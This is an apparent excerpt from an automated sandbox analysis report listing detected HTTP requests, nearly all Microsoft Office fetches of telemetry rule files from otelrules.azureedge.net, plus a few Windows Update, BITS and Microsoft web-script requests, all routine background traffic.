Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=y4vW5RedAlCZHPr&MD=Z+BH3x1a HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
